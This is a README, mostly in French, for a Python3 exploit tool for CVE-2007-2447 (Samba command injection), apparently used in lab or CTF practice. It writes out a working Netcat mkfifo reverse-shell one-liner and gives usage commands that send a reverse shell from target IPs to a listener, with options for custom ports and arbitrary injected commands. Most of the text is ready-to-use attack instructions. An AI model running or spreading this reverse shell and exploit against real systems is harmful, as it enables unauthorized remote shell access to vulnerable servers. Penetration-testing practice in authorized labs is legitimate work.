
Exploit code for CVE-2007-2447 written in Python3.
Ce dépôt contient mon code d'exploit pour CVE-2007-2447 écrit en Python3. Par défaut, il envoie un shell inversé Netcat OpenBSD sur le port 443 vers la cible, mais vous pouvez également spécifier une commande personnalisée.
# Netcat OpenBSD reverse shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
# Exploiter la cible 10.129.232.46 sur le port 445, envoyer un shell inversé vers 10.10.14.82 sur le port 443
python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82
# Avec rport et lport personnalisés
python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82 --lport 31337
# Exécuter une commande personnalisée et définir un délai d'attente pour les hôtes lents
python3 CVE-2007-2447.py --rhost 10.129.232.46 -c "ping -c 3 10.10.14.82" -t 10